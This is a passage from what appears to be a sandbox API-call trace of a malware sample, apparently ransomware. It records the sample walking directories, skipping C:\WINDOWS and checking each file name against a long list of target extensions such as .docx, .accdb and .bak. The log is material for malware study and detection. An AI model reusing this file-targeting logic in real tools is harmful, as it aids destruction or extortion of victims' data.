(lpString1=".asa", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".asc") returned 4 [0078.896] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".ascx") returned 5 [0078.896] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0078.896] lstrlenW (lpString=".asm") returned 4 [0078.896] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".asmx") returned 5 [0078.896] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0078.896] lstrlenW (lpString=".asp") returned 4 [0078.896] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".aspx") returned 5 [0078.896] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0078.896] lstrlenW (lpString=".asr") returned 4 [0078.896] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".asx") returned 4 [0078.897] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".avi") returned 4 [0078.897] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".avs") returned 4 [0078.897] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".backup") returned 7 [0078.897] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0078.897] lstrlenW (lpString=".bak") returned 4 [0078.897] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".bay") returned 4 [0078.897] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".bd") returned 3 [0078.897] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0078.897] lstrlenW (lpString=".bin") returned 4 [0078.897] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".bmp") returned 4 [0078.897] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".bz2") returned 4 [0078.897] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".c") returned 2 [0078.897] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0078.897] lstrlenW (lpString=".cdr") returned 4 [0078.897] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".cer") returned 4 [0078.897] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".cf") returned 3 [0078.897] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0078.897] lstrlenW (lpString=".cfc") returned 4 [0078.897] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".cfm") returned 4 [0078.897] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0078.897] lstrlenW (lpString=".cfml") returned 5 [0078.897] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0078.898] lstrlenW (lpString=".cfu") returned 4 [0078.898] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".chm") returned 4 [0078.898] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".cin") returned 4 [0078.898] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".class") returned 6 [0078.898] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0078.898] lstrlenW (lpString=".clx") returned 4 [0078.898] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".config") returned 7 [0078.898] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0078.898] lstrlenW (lpString=".cpp") returned 4 [0078.898] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".cr2") returned 4 [0078.898] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".crt") returned 4 [0078.898] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".crw") returned 4 [0078.898] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".cs") returned 3 [0078.898] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0078.898] lstrlenW (lpString=".css") returned 4 [0078.898] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".csv") returned 4 [0078.898] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".cub") returned 4 [0078.898] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".dae") returned 4 [0078.898] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0078.898] lstrlenW (lpString=".dat") returned 4 [0078.898] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".db") returned 3 [0078.899] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0078.899] lstrlenW (lpString=".dbf") returned 4 [0078.899] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".dbx") returned 4 [0078.899] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".dc3") returned 4 [0078.899] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".dcm") returned 4 [0078.899] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".dcr") returned 4 [0078.899] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".der") returned 4 [0078.899] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".dib") returned 4 [0078.899] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".dic") returned 4 [0078.899] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".dif") returned 4 [0078.899] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".divx") returned 5 [0078.899] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0078.899] lstrlenW (lpString=".djvu") returned 5 [0078.899] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0078.899] lstrlenW (lpString=".dng") returned 4 [0078.899] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".doc") returned 4 [0078.899] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0078.899] lstrlenW (lpString=".docm") returned 5 [0078.899] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0078.899] lstrlenW (lpString=".docx") returned 5 [0078.899] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0078.899] lstrlenW (lpString=".dot") returned 4 [0078.899] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".dotm") returned 5 [0078.900] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0078.900] lstrlenW (lpString=".dotx") returned 5 [0078.900] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0078.900] lstrlenW (lpString=".dpx") returned 4 [0078.900] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".dqy") returned 4 [0078.900] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".dsn") returned 4 [0078.900] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".dt") returned 3 [0078.900] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0078.900] lstrlenW (lpString=".dtd") returned 4 [0078.900] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".dwg") returned 4 [0078.900] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".dwt") returned 4 [0078.900] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".dx") returned 3 [0078.900] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0078.900] lstrlenW (lpString=".dxf") returned 4 [0078.900] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".edml") returned 5 [0078.900] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0078.900] lstrlenW (lpString=".efd") returned 4 [0078.900] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".elf") returned 4 [0078.900] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".emf") returned 4 [0078.900] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".emz") returned 4 [0078.900] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0078.900] lstrlenW (lpString=".epf") returned 4 [0078.901] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0078.901] lstrlenW (lpString=".eps") returned 4 [0078.901] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0078.901] lstrlenW (lpString=".epsf") returned 5 [0078.901] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0078.901] lstrlenW (lpString=".epsp") returned 5 [0078.901] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0078.901] lstrlenW (lpString=".erf") returned 4 [0078.901] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0078.901] lstrlenW (lpString=".exr") returned 4 [0078.901] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0078.901] lstrlenW (lpString=".f4v") returned 4 [0078.901] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0078.901] lstrlenW (lpString=".fido") returned 5 [0078.901] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0078.901] lstrlenW (lpString=".flm") returned 4 [0078.901] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0078.901] lstrlenW (lpString=".flv") returned 4 [0078.901] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0078.901] lstrlenW (lpString=".frm") returned 4 [0078.901] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0078.901] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0078.901] FindClose (in: hFindFile=0x459c60 | out: hFindFile=0x459c60) returned 1 [0078.901] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0078.901] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0078.901] FindClose (in: hFindFile=0x45a120 | out: hFindFile=0x45a120) returned 1 [0078.902] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35b0050 | out: hHeap=0x440000) returned 1 [0078.902] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0078.902] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0078.902] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35b0050 [0078.903] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0078.903] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x459d20 [0079.239] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0079.239] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0079.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0079.239] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1 [0079.239] lstrlenW (lpString="1025") returned 4 [0079.239] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1 [0079.239] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0079.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0079.240] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x459de0 [0079.241] FindNextFileW (in: hFindFile=0x459de0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.241] FindNextFileW (in: hFindFile=0x459de0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0079.241] lstrlenW (lpString="eula.rtf") returned 8 [0079.241] lstrlenW (lpString=".1cd") returned 4 [0079.241] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0079.241] lstrlenW (lpString=".3ds") returned 4 [0079.241] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0079.241] lstrlenW (lpString=".3fr") returned 4 [0079.241] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0079.241] lstrlenW (lpString=".3g2") returned 4 [0079.241] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0079.241] lstrlenW (lpString=".3gp") returned 4 [0079.241] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0079.241] lstrlenW (lpString=".7z") returned 3 [0079.241] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0079.241] lstrlenW (lpString=".accda") returned 6 [0079.241] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0079.241] lstrlenW (lpString=".accdb") returned 6 [0079.241] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0079.241] lstrlenW (lpString=".accdc") returned 6 [0079.241] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0079.241] lstrlenW (lpString=".accde") returned 6 [0079.241] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0079.241] lstrlenW (lpString=".accdt") returned 6 [0079.241] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0079.241] lstrlenW (lpString=".accdw") returned 6 [0079.241] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0079.241] lstrlenW (lpString=".adb") returned 4 [0079.242] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".adp") returned 4 [0079.242] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".ai") returned 3 [0079.242] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0079.242] lstrlenW (lpString=".ai3") returned 4 [0079.242] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".ai4") returned 4 [0079.242] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".ai5") returned 4 [0079.242] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".ai6") returned 4 [0079.242] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".ai7") returned 4 [0079.242] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".ai8") returned 4 [0079.242] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".anim") returned 5 [0079.242] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0079.242] lstrlenW (lpString=".arw") returned 4 [0079.242] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".as") returned 3 [0079.242] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0079.242] lstrlenW (lpString=".asa") returned 4 [0079.242] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".asc") returned 4 [0079.242] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".ascx") returned 5 [0079.242] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0079.242] lstrlenW (lpString=".asm") returned 4 [0079.242] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0079.242] lstrlenW (lpString=".asmx") returned 5 [0079.243] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0079.243] lstrlenW (lpString=".asp") returned 4 [0079.243] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0079.243] lstrlenW (lpString=".aspx") returned 5 [0079.243] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0079.243] lstrlenW (lpString=".asr") returned 4 [0079.243] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0079.243] lstrlenW (lpString=".asx") returned 4 [0079.243] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0079.243] lstrlenW (lpString=".avi") returned 4 [0079.243] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0079.243] lstrlenW (lpString=".avs") returned 4 [0079.243] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0079.243] lstrlenW (lpString=".backup") returned 7 [0079.243] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0079.243] lstrlenW (lpString=".bak") returned 4 [0079.243] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0079.243] lstrlenW (lpString=".bay") returned 4 [0079.243] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0079.243] lstrlenW (lpString=".bd") returned 3 [0079.243] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0079.243] lstrlenW (lpString=".bin") returned 4 [0079.243] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0079.243] lstrlenW (lpString=".bmp") returned 4 [0079.243] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0079.243] lstrlenW (lpString=".bz2") returned 4 [0079.243] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0079.243] lstrlenW (lpString=".c") returned 2 [0079.243] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0079.243] lstrlenW (lpString=".cdr") returned 4 [0079.243] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0079.243] lstrlenW (lpString=".cer") returned 4 [0079.243] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".cf") returned 3 [0079.244] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0079.244] lstrlenW (lpString=".cfc") returned 4 [0079.244] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".cfm") returned 4 [0079.244] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".cfml") returned 5 [0079.244] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0079.244] lstrlenW (lpString=".cfu") returned 4 [0079.244] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".chm") returned 4 [0079.244] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".cin") returned 4 [0079.244] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".class") returned 6 [0079.244] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0079.244] lstrlenW (lpString=".clx") returned 4 [0079.244] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".config") returned 7 [0079.244] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0079.244] lstrlenW (lpString=".cpp") returned 4 [0079.244] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".cr2") returned 4 [0079.244] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".crt") returned 4 [0079.244] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".crw") returned 4 [0079.244] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".cs") returned 3 [0079.244] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0079.244] lstrlenW (lpString=".css") returned 4 [0079.244] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0079.244] lstrlenW (lpString=".csv") returned 4 [0079.245] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".cub") returned 4 [0079.245] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".dae") returned 4 [0079.245] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".dat") returned 4 [0079.245] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".db") returned 3 [0079.245] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0079.245] lstrlenW (lpString=".dbf") returned 4 [0079.245] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".dbx") returned 4 [0079.245] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".dc3") returned 4 [0079.245] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".dcm") returned 4 [0079.245] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".dcr") returned 4 [0079.245] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".der") returned 4 [0079.245] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".dib") returned 4 [0079.245] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".dic") returned 4 [0079.245] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".dif") returned 4 [0079.245] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0079.245] lstrlenW (lpString=".divx") returned 5 [0079.245] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0079.245] lstrlenW (lpString=".djvu") returned 5 [0079.245] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0079.245] lstrlenW (lpString=".dng") returned 4 [0079.246] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0079.246] lstrlenW (lpString=".doc") returned 4 [0079.246] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0079.246] lstrlenW (lpString=".docm") returned 5 [0079.246] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0079.246] lstrlenW (lpString=".docx") returned 5 [0079.246] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0079.246] lstrlenW (lpString=".dot") returned 4 [0079.246] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0079.246] lstrlenW (lpString=".dotm") returned 5 [0079.246] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0079.246] lstrlenW (lpString=".dotx") returned 5 [0079.246] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0079.246] lstrlenW (lpString=".dpx") returned 4 [0079.246] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0079.246] lstrlenW (lpString=".dqy") returned 4 [0079.246] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0079.246] lstrlenW (lpString=".dsn") returned 4 